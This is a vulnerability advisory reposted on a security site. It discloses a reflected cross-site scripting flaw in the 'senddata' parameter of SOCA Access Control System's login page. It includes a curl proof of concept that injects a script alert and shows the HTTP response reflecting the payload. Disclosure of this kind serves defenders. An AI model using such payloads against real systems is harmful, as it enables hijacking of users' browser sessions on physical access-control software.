SOCA Access Control System 180612 Cross Site Scripting

2019.05.14

Credit: **LiquidWorm (https://cxsecurity.com/author/LiquidWorm/1/)**

Risk: **Low**

Local: **No**

Remote: **Yes**

CVE: **N/A**

CWE: **CWE-79 (https://cxsecurity.com/cwe/CWE-79)**

SOCA Access Control System 180612 Reflected Cross-Site Scripting

Vendor: SOCA Technology Co., Ltd
Product web page: http://www.socatech.com
Affected version: 180612, 170000 and 141007

Summary: The company's products include proximity and fingerprint access
control system, time and attendance, electric locks, card reader a nd writer,
keyless entry system and other 30 specialized products. All produc ts are
attractively designed with advanced technology in accordance with users'
safety and convenience which also fitted international standard.

Desc: The application suffers from a XSS issue due to a failure to properly
sanitize user-supplied input to the 'senddata' POST parameter in t he 'logged_page.php'
script. Attackers can exploit this weakness to execute arbitrary H TML and

```
script code in a user's browser session.

Tested on: Windows NT 6.1 build 7601 (Windows 7 Service Pack 1) i5
86
           Windows NT 6.2 build 9200 (Windows Server 2012 Standard
Edition) i586
           Apache/2.2.22 (Win32)
           PHP/5.4.13
           Firebird/InterBase DBMS


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                             @zeroscience


Advisory ID: ZSL-2019-5518
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-20
19-5518.php


20.04.2018

--


# curl -X POST "http://10.0.0.3/Login/logged-page.php" --data "sen
ddata=<script>alert(1)</script>" -i

HTTP/1.1 200 OK
Date: Tue, 03 May 2018 22:46:32 GMT
Server: Apache/2.2.22 (Win32) PHP/5.4.13
X-Powered-By: PHP/5.4.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Content-Length: 532
Connection: close
Content-Type: text/html
```

```
<legend>
  Login Info</legend>
Welecome <script>alert(1)</script>!<input type="button"
  value="Logout"
  onclick="logged_page_logout();" />

<script type="text/javascript">
  function logged_page_logout() {
    $.ajax({
      url: "../Login/Logout.php",
      success: function(response) {
        //Ajax
        //
        location.reload();
      },
      error:function (xhr, ajaxOptions, thrownError) {
        //
        alert("Timeout");
      }
    });
  }
</script>
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2019050151)

Post

Vote for this issue: 0 0

50% 50%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)